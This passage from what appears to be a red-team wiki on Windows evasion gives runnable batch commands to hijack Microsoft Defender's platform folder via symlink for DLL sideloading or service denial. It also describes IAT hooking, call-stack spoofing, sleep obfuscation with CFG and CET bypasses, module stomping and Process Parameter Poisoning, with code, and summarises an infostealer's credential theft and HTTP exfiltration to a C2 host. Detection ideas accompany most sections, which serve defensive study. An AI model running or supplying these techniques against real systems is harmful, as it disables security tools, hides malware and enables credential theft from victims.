(test thoroughly). 1045 1046 ## Tampering Microsoft Defender via Platform Version Folder Symlink Hijack 1047 1048 Windows Defender chooses the platform it runs from by enumerating subfolders under: 1049 - `C:\ProgramData\Microsoft\Windows Defender\Platform\` 1050 1051 It selects the subfolder with the highest lexicographic version string (e.g., `4.18.25070.5-0`), then starts the Defender service processes from there (updating service/registry paths accordingly). This selection trusts directory entries including directory reparse points (symlinks). An administrator can leverage this to redirect Defender to an attacker-writable path and achieve DLL sideloading or service disruption.<sup>[[21]](#references)[[22]](#references)</sup> 1052 1053 Preconditions 1054 - Local Administrator (needed to create directories/symlinks under the Platform folder) 1055 - Ability to reboot or trigger Defender platform re-selection (service restart on boot) 1056 - Only built-in tools required (mklink) 1057 1058 Why it works 1059 - Defender blocks writes in its own folders, but its platform selection trusts directory entries and picks the lexicographically highest version without validating that the target resolves to a protected/trusted path. 1060 1061 Step-by-step (example) 1062 1) Prepare a writable clone of the current platform folder, e.g. `C:\TMP\AV`: 1063 ```batch 1064 set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0" 1065 set DST="C:\TMP\AV" 1066 robocopy %SRC% %DST% /MIR 1067 ``` 1068 2) Create a higher-version directory symlink inside Platform pointing to your folder: 1069 ```batch 1070 mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV" 1071 ``` 1072 3) Trigger selection (reboot recommended): 1073 ```batch 1074 shutdown /r /t 0 1075 ``` 1076 4) Verify MsMpEng.exe (WinDefend) runs from the redirected path: 1077 ```powershell 1078 Get-Process MsMpEng | Select-Object Id,Path 1079 # or 1080 wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath 1081 ``` 1082 You should observe the new process path under `C:\TMP\AV\` and the service configuration/registry reflecting that location. 1083 1084 Post-exploitation options 1085 - DLL sideloading/code execution: Drop/replace DLLs that Defender loads from its application directory to execute code in Defender’s processes. See the section above: [DLL Sideloading & Proxying](#dll-sideloading--proxying). 1086 - Service kill/denial: Remove the version-symlink so on next start the configured path doesn’t resolve and Defender fails to start: 1087 ```batch 1088 rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" 1089 ``` 1090 1091 > [!TIP] 1092 > Note that This technique does not provide privilege escalation by itself; it requires admin rights. 1093 1094 ## API/IAT Hooking + Call-Stack Spoofing with PIC (Crystal Kit-style) 1095 1096 Red teams can move runtime evasion out of the C2 implant and into the target module itself by hooking its Import Address Table (IAT) and routing selected APIs through attacker-controlled, position‑independent code (PIC). This generalises evasion beyond the small API surface many kits expose (e.g., CreateProcessA), and extends the same protections to BOFs and post‑exploitation DLLs.<sup>[[3]](#references)[[4]](#references)[[5]](#references)</sup> 1097 1098 High-level approach 1099 - Stage a PIC blob alongside the target module using a reflective loader (prepended or companion). The PIC must be self‑contained and position‑independent. 1100 - As the host DLL loads, walk its IMAGE_IMPORT_DESCRIPTOR and patch the IAT entries for targeted imports (e.g., CreateProcessA/W, CreateThread, LoadLibraryA/W, VirtualAlloc) to point at thin PIC wrappers. 1101 - Each PIC wrapper executes evasions before tail‑calling the real API address. Typical evasions include: 1102 - Memory mask/unmask around the call (e.g., encrypt beacon regions, RWX→RX, change page names/permissions) then restore post‑call. 1103 - Call‑stack spoofing: construct a benign stack and transition into the target API so call‑stack analysis resolves to expected frames.<sup>[[9]](#references)</sup> 1104 - For compatibility, export an interface so an Aggressor script (or equivalent) can register which APIs to hook for Beacon, BOFs and post‑ex DLLs. 1105 1106 Why IAT hooking here 1107 - Works for any code that uses the hooked import, without modifying tool code or relying on Beacon to proxy specific APIs. 1108 - Covers post‑ex DLLs: hooking LoadLibrary* lets you intercept module loads (e.g., System.Management.Automation.dll, clr.dll) and apply the same masking/stack evasion to their API calls. 1109 - Restores reliable use of process‑spawning post‑ex commands against call‑stack–based detections by wrapping CreateProcessA/W. 1110 1111 Minimal IAT hook sketch (x64 C/C++ pseudocode) 1112 ```c 1113 // For each IMAGE_IMPORT_DESCRIPTOR 1114 // For each thunk in the IAT 1115 // if imported function == "CreateProcessA" 1116 // WriteProcessMemory(local): IAT[idx] = (ULONG_PTR)Pic_CreateProcessA_Wrapper; 1117 // Wrapper performs: mask(); stack_spoof_call(real_CreateProcessA, args...); unmask(); 1118 ``` 1119 Notes 1120 - Apply the patch after relocations/ASLR and before first use of the import. Reflective loaders like TitanLdr/AceLdr demonstrate hooking during DllMain of the loaded module. 1121 - Keep wrappers tiny and PIC-safe; resolve the true API via the original IAT value you captured before patching or via LdrGetProcedureAddress. 1122 - Use RW → RX transitions for PIC and avoid leaving writable+executable pages. 1123 1124 Call‑stack spoofing stub 1125 - Draugr‑style PIC stubs build a fake call chain (return addresses into benign modules) and then pivot into the real API. 1126 - This defeats detections that expect canonical stacks from Beacon/BOFs to sensitive APIs. 1127 - Pair with stack cutting/stack stitching techniques to land inside expected frames before the API prologue. 1128 1129 Operational integration 1130 - Prepend the reflective loader to post‑ex DLLs so the PIC and hooks initialise automatically when the DLL is loaded. 1131 - Use an Aggressor script to register target APIs so Beacon and BOFs transparently benefit from the same evasion path without code changes. 1132 1133 Detection/DFIR considerations 1134 - IAT integrity: entries that resolve to non‑image (heap/anon) addresses; periodic verification of import pointers. 1135 - Stack anomalies: return addresses not belonging to loaded images; abrupt transitions to non‑image PIC; inconsistent RtlUserThreadStart ancestry. 1136 - Loader telemetry: in‑process writes to IAT, early DllMain activity that modifies import thunks, unexpected RX regions created at load. 1137 - Image‑load evasion: if hooking LoadLibrary*, monitor suspicious loads of automation/clr assemblies correlated with memory masking events. 1138 1139 Related building blocks and examples 1140 - Reflective loaders that perform IAT patching during load (e.g., TitanLdr, AceLdr) 1141 - Memory masking hooks (e.g., simplehook) and stack‑cutting PIC (stackcutting) 1142 - PIC call‑stack spoofing stubs (e.g., Draugr) 1143 1144 1145 ## Import-Time IAT Hooking + Sleep Obfuscation (Crystal Palace/PICO) 1146 1147 ### Import-time IAT hooks via a resident PICO 1148 1149 If you control a reflective loader, you can hook imports **during** `ProcessImports()` by replacing the loader's `GetProcAddress` pointer with a custom resolver that checks hooks first:<sup>[[6]](#references)[[7]](#references)[[8]](#references)</sup> 1150 1151 - Build a **resident PICO** (persistent PIC object) that survives after the transient loader PIC frees itself. 1152 - Export a `setup_hooks()` function that overwrites the loader's import resolver (e.g., `funcs.GetProcAddress = _GetProcAddress`). 1153 - In `_GetProcAddress`, skip ordinal imports and use a hash-based hook lookup like `__resolve_hook(ror13hash(name))`. If a hook exists, return it; otherwise delegate to the real `GetProcAddress`. 1154 - Register hook targets at link time with Crystal Palace `addhook "MODULE$Func" "hook"` entries. The hook stays valid because it lives inside the resident PICO. 1155 1156 This yields **import-time IAT redirection** without patching the loaded DLL's code section post-load. 1157 1158 ### Forcing hookable imports when the target uses PEB-walking 1159 1160 Import-time hooks only trigger if the function is actually in the target's IAT. If a module resolves APIs via a PEB-walk + hash (no import entry), force a real import so the loader's `ProcessImports()` path sees it: 1161 1162 - Replace hashed export resolution (e.g., `GetSymbolAddress(..., HASH_FUNC_WAIT_FOR_SINGLE_OBJECT)`) with a direct reference like `&WaitForSingleObject`. 1163 - The compiler emits an IAT entry, enabling interception when the reflective loader resolves imports. 1164 1165 ### Ekko-style sleep/idle obfuscation without patching `Sleep()` 1166 1167 Instead of patching `Sleep`, hook the **actual wait/IPC primitives** the implant uses (`WaitForSingleObject(Ex)`, `WaitForMultipleObjects`, `ConnectNamedPipe`). For long waits, wrap the call in an Ekko-style obfuscation chain that encrypts the in-memory image during idle:<sup>[[31]](#references)[[27]](#references)</sup> 1168 1169 - Use `CreateTimerQueueTimer` to schedule a sequence of callbacks that call `NtContinue` with crafted `CONTEXT` frames. 1170 - Typical chain (x64): set image to `PAGE_READWRITE` → RC4 encrypt via `advapi32!SystemFunction032` over the full mapped image → perform the blocking wait → RC4 decrypt → **restore per-section permissions** by walking PE sections → signal completion. 1171 - `RtlCaptureContext` provides a template `CONTEXT`; clone it into multiple frames and set registers (`Rip/Rcx/Rdx/R8/R9`) to invoke each step. 1172 1173 Operational detail: return “success” for long waits (e.g., `WAIT_OBJECT_0`) so the caller continues while the image is masked. This pattern hides the module from scanners during idle windows and avoids the classic “patched `Sleep()`” signature. 1174 1175 Detection ideas (telemetry-based) 1176 - Bursts of `CreateTimerQueueTimer` callbacks pointing to `NtContinue`. 1177 - `advapi32!SystemFunction032` used on large contiguous image-sized buffers. 1178 - Large-range `VirtualProtect` followed by custom per-section permission restoration. 1179 1180 ### Runtime CFG registration for sleep-obfuscation gadgets 1181 1182 On CFG-enabled targets, the first indirect jump into a mid-function gadget such as `jmp [rbx]` or `jmp rdi` will usually crash the process with `STATUS_STACK_BUFFER_OVERRUN` because the gadget is not present in the module's CFG metadata. To keep Ekko/Kraken-style chains alive inside hardened processes:<sup>[[30]](#references)</sup> 1183 1184 - Register every indirect destination used by the chain with `NtSetInformationVirtualMemory(..., VmCfgCallTargetInformation, ...)` and `CFG_CALL_TARGET_VALID` entries. 1185 - For addresses inside loaded images (`ntdll`, `kernel32`, `advapi32`), the `MEMORY_RANGE_ENTRY` must start at the **image base** and cover the **full image size**. 1186 - For manually mapped/PIC/stomped regions, use the **allocation base** and allocation size instead. 1187 - Mark not only the dispatch gadget, but also exports reached indirectly (`NtContinue`, `SystemFunction032`, `VirtualProtect`, `GetThreadContext`, `SetThreadContext`, wait/event syscalls) and any attacker-controlled executable sections that will become indirect targets. 1188 1189 This turns ROP/JOP-style sleep chains from "works only in non-CFG processes" into a reusable primitive for `explorer.exe`, browsers, `svchost.exe`, and other endpoints compiled with `/guard:cf`. 1190 1191 ### CET-safe stack spoofing for sleeping threads 1192 1193 Full `CONTEXT` replacement is noisy and can break on CET Shadow Stack systems because a spoofed `Rip` must still agree with the hardware shadow stack. A safer sleep-masking pattern is:<sup>[[30]](#references)</sup> 1194 1195 - Pick another thread in the same process and read its `NT_TIB` / TEB stack bounds (`StackBase`, `StackLimit`) via `NtQueryInformationThread`. 1196 - Backup the current thread's real TEB/TIB. 1197 - Capture the real sleeping context with `GetThreadContext`. 1198 - Copy **only** the real `Rip` into the spoof context, leaving the spoofed `Rsp`/stack state intact. 1199 - During the sleep window, copy the spoof thread's `NT_TIB` into the current TEB so stack walkers unwind inside a legitimate stack range. 1200 - After the wait finishes, restore the original TIB and thread context. 1201 1202 This preserves a CET-consistent instruction pointer while misleading EDR stack walkers that trust TEB stack metadata to validate unwinds. 1203 1204 ### APC-based alternative: Kraken Mask 1205 1206 If timer-queue dispatch is too signatured, the same sleep-encrypt-spoof-restore sequence can be executed from a suspended helper thread using queued APCs:<sup>[[27]](#references)</sup> 1207 1208 - Create a helper thread with `NtTestAlert` as entrypoint. 1209 - Queue prepared `CONTEXT` frames/APCs with `NtQueueApcThread` and drain them with `NtAlertResumeThread`. 1210 - Store the chain state on the heap instead of the helper stack to avoid exhausting the default 64 KB thread stack. 1211 - Use `NtSignalAndWaitForSingleObject` to atomically signal the start event and block. 1212 - Suspend the main thread before restoring the TIB/context (`NtSuspendThread` → restore → `NtResumeThread`) to reduce the race window where a scanner could catch a half-restored stack. 1213 1214 This swaps the `CreateTimerQueueTimer` + `NtContinue` signature for a helper-thread/APC signature while keeping the same RC4 masking and stack-spoofing goals. 1215 1216 Additional detection ideas 1217 - `NtSetInformationVirtualMemory` with `VmCfgCallTargetInformation` shortly before sleeps, waits, or APC dispatch. 1218 - `GetThreadContext`/`SetThreadContext` wrapped around `WaitForSingleObject(Ex)`, `NtWaitForSingleObject`, `NtSignalAndWaitForSingleObject`, or `ConnectNamedPipe`. 1219 - `NtQueryInformationThread` followed by direct writes into the current thread's TEB/TIB stack bounds. 1220 - `NtQueueApcThread`/`NtAlertResumeThread` chains that indirectly reach `SystemFunction032`, `VirtualProtect`, or section-permission restoration helpers. 1221 - Repeated use of short gadget signatures such as `FF 23` (`jmp [rbx]`) or `FF E7` (`jmp rdi`) as dispatch pivots inside signed modules. 1222 1223 1224 ## Precision Module Stomping 1225 1226 Module stomping executes payloads from the **`.text` section of a DLL already mapped inside the target process** instead of allocating obvious private executable memory or loading a fresh sacrificial DLL. The overwrite target should be a **loaded, disk-backed image** whose code space can absorb the payload without corrupting code paths the process still needs.<sup>[[1]](#references)[[2]](#references)</sup> 1227 1228 ### Reliable target selection 1229 1230 Naive stomping against common modules such as `uxtheme.dll` or `comctl32.dll` is fragile: the DLL may not be loaded in the remote process, and a too-small code region will crash the process. A more reliable workflow is: 1231 1232 1. Enumerate the target process modules and keep a **names-only include list** of DLLs already loaded. 1233 2. Build the payload first and record its **exact byte size**. 1234 3. Scan candidate DLLs on disk and compare the PE section **`.text` `Misc_VirtualSize`** against the payload size. This matters more than the file size because it reflects the size of the executable section **when mapped in memory**. 1235 4. Parse the **Export Address Table (EAT)** and choose an exported function RVA as the stomp start offset. 1236 5. Calculate the **blast radius**: if the payload exceeds the selected function boundary, it will overwrite adjacent exports laid out after it in memory. 1237 1238 Typical recon/selection helpers seen in the wild: 1239 1240 ```batch 1241 list-process-dlls.exe -p <PID> -n -o c:\payloads\modules.txt 1242 python find-stompable-dlls.py -d c:\Windows\System32 -i c:\payloads\modules.txt <payload_size> 1243 python dump-exports.py -f <dll_path> 1244 python blast-radius.py -f <dll_path> -fnc <export_name> -s <payload_size> 1245 ``` 1246 1247 Operational notes 1248 - Prefer DLLs **already loaded** in the remote process to avoid the telemetry of `LoadLibrary`/unexpected image loads. 1249 - Prefer exports that are rarely executed by the target application, otherwise normal code paths may hit the stomped bytes before or after thread creation. 1250 - Large implants often require changing shellcode embedding from a string literal to a **byte-array/braced initializer** so the full buffer is represented correctly in the injector source. 1251 1252 Detection ideas 1253 - Remote writes into **image-backed executable pages** (`MEM_IMAGE`, `PAGE_EXECUTE*`) instead of the more common private RWX/RX allocations. 1254 - Export entry points whose in-memory bytes no longer match the backing file on disk. 1255 - Remote threads or context pivots that begin execution inside a legitimate DLL export whose first bytes were recently modified. 1256 - Suspicious `VirtualProtect(Ex)` / `WriteProcessMemory` sequences against DLL `.text` pages followed by thread creation. 1257 1258 ## Process Parameter Poisoning (P3) 1259 1260 Process Parameter Poisoning (P3) is a **process-injection / EDR-evasion** technique that avoids the classic remote write path (`VirtualAllocEx` + `WriteProcessMemory`). Instead of copying bytes into an already running target, it abuses the fact that Windows **copies selected `CreateProcessW` startup parameters into the child process** and stores them inside `PEB->ProcessParameters` (`RTL_USER_PROCESS_PARAMETERS`).<sup>[[28]](#references)[[29]](#references)</sup> 1261 1262 ### Poisonable carriers copied by `CreateProcessW` 1263 1264 Useful carriers are: 1265 1266 - `lpCommandLine` → `RTL_USER_PROCESS_PARAMETERS.CommandLine` 1267 - `lpEnvironment` (with `CREATE_UNICODE_ENVIRONMENT`) → `RTL_USER_PROCESS_PARAMETERS.Environment` 1268 - `STARTUPINFO.lpReserved` → `RTL_USER_PROCESS_PARAMETERS.ShellInfo` 1269 1270 Practical carrier constraints: 1271 1272 - `lpCommandLine` must point to **writable memory** for `CreateProcessW`, and is capped at **32,767 Unicode characters** including the null terminator. 1273 - `lpEnvironment` must be a Unicode environment block of successive `NAME=VALUE\0` strings terminated by an extra `\0`. 1274 - `lpReserved` is officially reserved, so the `ShellInfo` mapping should be treated as an implementation detail rather than a stable documented contract. 1275 1276 This turns normal process creation into the **payload-transfer primitive**. The operator creates the child process with attacker-controlled startup data and lets Windows perform the cross-process copy. 1277 1278 ### Remote lookup flow without remote write APIs 1279 1280 After the child is created, resolve the copied buffer with **read-only** primitives: 1281 1282 1. `NtQueryInformationProcess(ProcessBasicInformation)` → get `PROCESS_BASIC_INFORMATION.PebBaseAddress` 1283 2. Read the remote `PEB` 1284 3. Follow `PEB.ProcessParameters` 1285 4. Read `RTL_USER_PROCESS_PARAMETERS` 1286 5. Use the selected pointer: 1287 - `parameters.CommandLine.Buffer` 1288 - `parameters.Environment` 1289 - `parameters.ShellInfo.Buffer` 1290 1291 Minimal flow: 1292 1293 ```c 1294 NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen); 1295 NtReadVirtualMemoryEx(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), &bytesRead, 0); 1296 NtReadVirtualMemoryEx(hProcess, peb.ProcessParameters, ¶ms, sizeof(params), &bytesRead, 0); 1297 // params.CommandLine.Buffer / params.Environment / params.ShellInfo.Buffer 1298 ``` 1299 1300 ### Executing the copied parameter buffer 1301 1302 The copied parameter region is usually `RW`, not executable. A common P3 chain is: 1303 1304 1. Create the process normally (not suspended) 1305 2. Make the chosen parameter page executable with `NtProtectVirtualMemory` / `VirtualProtectEx` 1306 3. Reuse the main thread handle already returned in `PROCESS_INFORMATION` 1307 4. Redirect execution with `NtSetContextThread` (`CONTEXT_CONTROL`, overwrite `RIP`) 1308 1309 Unlike classic thread hijacking workflows, this does **not require** `SuspendThread` / `ResumeThread`; the context can be changed on the returned main thread handle directly. 1310 1311 This avoids several APIs commonly monitored for injection: 1312 1313 - `VirtualAllocEx` / `NtAllocateVirtualMemory(Ex)` 1314 - `WriteProcessMemory` / `NtWriteVirtualMemory` 1315 - `CreateRemoteThread` / `NtCreateThreadEx` 1316 - often also `SuspendThread` / `ResumeThread` 1317 1318 ### Null-byte limitation and staged shellcode 1319 1320 All three carriers are **string or string-like data**, so a raw payload containing `0x00` is truncated during transfer. A practical workaround is a **null-free first stage** that reconstructs constants at runtime and then loads an arbitrary second stage. 1321 1322 A simple pattern is XOR-based constant synthesis: 1323 1324 ```text 1325 mov rax, XOR_A 1326 mov r15, XOR_B 1327 xor rax, r15 ; result = desired value, without embedding 0x00 bytes 1328 ``` 1329 1330 This lets the first stage build stack strings, API arguments, DLL paths, or a second-stage shellcode loader without embedding null bytes in the transported parameter. 1331 1332 ### Stack-based API calls from the first stage 1333 1334 When the first stage must call APIs such as `LoadLibraryA`, it can: 1335 1336 - push the string/buffer on the target stack 1337 - reserve the **32-byte x64 shadow space** 1338 - set `RCX`, `RDX`, `R8`, `R9` to constants or `RSP`-relative pointers 1339 - keep `RSP` **16-byte aligned** before the call 1340 1341 A second stage can then be copied from the stack into a `PAGE_READWRITE` allocation, flipped to `PAGE_EXECUTE_READ` with `VirtualProtect`, and jumped to, avoiding a direct RWX allocation. 1342 1343 ### Detection ideas 1344 1345 Good hunting opportunities mentioned by the authors: 1346 1347 - `VirtualProtectEx` / `NtProtectVirtualMemory` making **process-parameter pages executable** 1348 - that protection change followed by `SetThreadContext` / `NtSetContextThread` 1349 - remote reads of `PEB` and then `RTL_USER_PROCESS_PARAMETERS` 1350 - unusually long / high-entropy `lpCommandLine`, `lpEnvironment`, or `STARTUPINFO.lpReserved` values during process creation 1351 1352 ### Notes 1353 1354 - P3 is a **cross-process transfer trick**, not a full execution primitive by itself: the copied parameter still needs an execute-permission change and an execution redirection method. 1355 - `RtlCreateProcessReflection` / Dirty Vanity was considered by the authors but rejected because it internally reaches suspicious primitives such as `NtWriteVirtualMemory` and `NtCreateThreadEx`. 1356 1357 ## SantaStealer Tradecraft for Fileless Evasion and Credential Theft 1358 1359 SantaStealer (aka BluelineStealer) illustrates how modern info-stealers blend AV bypass, anti-analysis and credential access in a single workflow.<sup>[[24]](#references)</sup> 1360 1361 ### Keyboard layout gating & sandbox delay 1362 1363 - A config flag (`anti_cis`) enumerates installed keyboard layouts via `GetKeyboardLayoutList`. If a Cyrillic layout is found, the sample drops an empty `CIS` marker and terminates before running stealers, ensuring it never detonates on excluded locales while leaving a hunting artifact. 1364 1365 ```c 1366 HKL layouts[64]; 1367 int count = GetKeyboardLayoutList(64, layouts); 1368 for (int i = 0; i < count; i++) { 1369 LANGID lang = PRIMARYLANGID(HIWORD((ULONG_PTR)layouts[i])); 1370 if (lang == LANG_RUSSIAN) { 1371 CreateFileA("CIS", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 1372 ExitProcess(0); 1373 } 1374 } 1375 Sleep(exec_delay_seconds * 1000); // config-controlled delay to outlive sandboxes 1376 ``` 1377 1378 ### Layered `check_antivm` logic 1379 1380 - Variant A walks the process list, hashes each name with a custom rolling checksum, and compares it against embedded blocklists for debuggers/sandboxes; it repeats the checksum over the computer name and checks working directories such as `C:\analysis`. 1381 - Variant B inspects system properties (process-count floor, recent uptime), calls `OpenServiceA("VBoxGuest")` to detect VirtualBox additions, and performs timing checks around sleeps to spot single-stepping. Any hit aborts before modules launch. 1382 1383 ### Fileless helper + double ChaCha20 reflective loading 1384 1385 - The primary DLL/EXE embeds a Chromium credential helper that is either dropped to disk or manually mapped in-memory; fileless mode resolves imports/relocations itself so no helper artifacts are written. 1386 - That helper stores a second-stage DLL encrypted twice with ChaCha20 (two 32-byte keys + 12-byte nonces). After both passes, it reflectively loads the blob (no `LoadLibrary`) and calls exports `ChromeElevator_Initialize/ProcessAllBrowsers/Cleanup` derived from [ChromElevator](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption).<sup>[[25]](#references)</sup> 1387 - The ChromElevator routines use direct-syscall reflective process hollowing to inject into a live Chromium browser, inherit AppBound Encryption keys, and decrypt passwords/cookies/credit cards straight from SQLite databases despite ABE hardening. 1388 1389 1390 ### Modular in-memory collection & chunked HTTP exfil 1391 1392 - `create_memory_based_log` iterates a global `memory_generators` function-pointer table and spawns one thread per enabled module (Telegram, Discord, Steam, screenshots, documents, browser extensions, etc.). Each thread writes results into shared buffers and reports its file count after a ~45s join window. 1393 - Once finished, everything is zipped with the statically linked `miniz` library as `%TEMP%\\Log.zip`. `ThreadPayload1` then sleeps 15s and streams the archive in 10 MB chunks via HTTP POST to `http://<C2>:6767/upload`, spoofing a browser `multipart/form-data` boundary (`----WebKitFormBoundary***`). Each chunk adds `User-Agent: upload`, `auth: <build_id>`, optional `w: <campaign_tag>`, and the last chunk appends `complete: true` so the C2 knows reassembly is done. 1394 1395 ## References 1396 1397 - [1] [Advanced Evasion Tradecraft: Precision Module Stomping](https://medium.com/@toneillcodes/advanced-evasion-tradecraft-precision-module-stomping-b51feb0978fe) 1398 - [2] [toneillcodes/windows-process-injection](https://github.com/toneillcodes/windows-process-injection) 1399 - [3] [Crystal Kit – blog](https://rastamouse.me/crystal-kit/) 1400 - [4] [Crystal-Kit – GitHub](https://github.com/rasta-mouse/Crystal-Kit) 1401 - [5] [Elastic – Call stacks, no more free passes for malware](https://www.elastic.co/security-labs/call-stacks-no-more-free-passes-for-malware) 1402 - [6] [Crystal Palace – docs](https://tradecraftgarden.org/docs.html) 1403 - [7] [simplehook – sample](https://tradecraftgarden.org/simplehook.html) 1404 - [8] [stackcutting – sample](https://tradecraftgarden.org/stackcutting.html) 1405 - [9] [Draugr – call-stack spoofing PIC](https://github.com/NtDallas/Draugr) 1406 - [10] [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/) 1407 - [11] [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) 1408 - [12] [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) 1409 - [13] [Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/) 1410 - [14] [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt) 1411 - [15] [Microsoft Learn – Dynamic-link library search order](https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order) 1412 - [16] [Microsoft Learn – Process security and access rights](https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights) 1413 - [17] [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88) 1414 - [18] [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) 1415 - [19] [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) 1416 - [20] [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) 1417 - [21] [Zero Salarium – Break The Protective Shell Of Windows Defender With The Folder Redirect Technique](https://www.zerosalarium.com/2025/09/Break-Protective-Shell-Windows-Defender-Folder-Redirect-Technique-Symlink.html) 1418 - [22] [Microsoft – mklink command reference](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink) 1419 - [23] [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/) 1420 - [24] [Rapid7 – SantaStealer is Coming to Town: A New, Ambitious Infostealer](https://www.rapid7.com/blog/post/tr-santastealer-is-coming-to-town-a-new-ambitious-infostealer-advertised-on-underground-forums) 1421 - [25] [ChromElevator – Chrome App Bound Encryption Decryption](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) 1422 - [26] [Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing](https://research.checkpoint.com/2025/gachiloader-node-js-malware-with-api-tracing/) 1423 - [27] [Sleeping Beauty: Putting Adaptix to Bed with Crystal Palace](https://maorsabag.github.io/posts/adaptix-stealthpalace/sleeping-beauty/) 1424 - [28] [SensePost – Process Parameter Poisoning](https://sensepost.com/blog/2026/process-parameter-poisoning/) 1425 - [29] [Orange Cyberdefense – p3-loader](https://github.com/Orange-Cyberdefense/p3-loader) 1426 - [30] [Sleeping Beauty II: CFG, CET, and Stack Spoofing](https://maorsabag.github.io/posts/adaptix-stealthpalace/sleeping-beauty-ii) 1427 - [31] [Ekko sleep obfuscation](https://github.com/Cracked5pider/Ekko) 1428 - [32] [SysWhispers4 – GitHub](https://github.com/JoasASantos/SysWhispers4) 1429 - [33] [blog.xpnsec.com - Hiding Your Dotnet Etw](https://blog.xpnsec.com/hiding-your-dotnet-etw) 1430 - [34] [repnz/etw-providers-docs](https://github.com/repnz/etw-providers-docs) 1431 - [35] [trustedsec.com - Abusing Chrome Remote Desktop On Red Team Operations A Practical Guide](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) 1432 - [36] [Check Point Research - BTR Reforged: Weaponizing Defender's Remediation Driver as a Kernel Operation Primitive](https://research.checkpoint.com/2026/btr-reforged-weaponizing-defenders-remediation-driver-as-a-kernel-operation-primitive/) 1433 - [37] [Dump-GUY - BTR_CLI](https://github.com/Dump-GUY/BTR_CLI)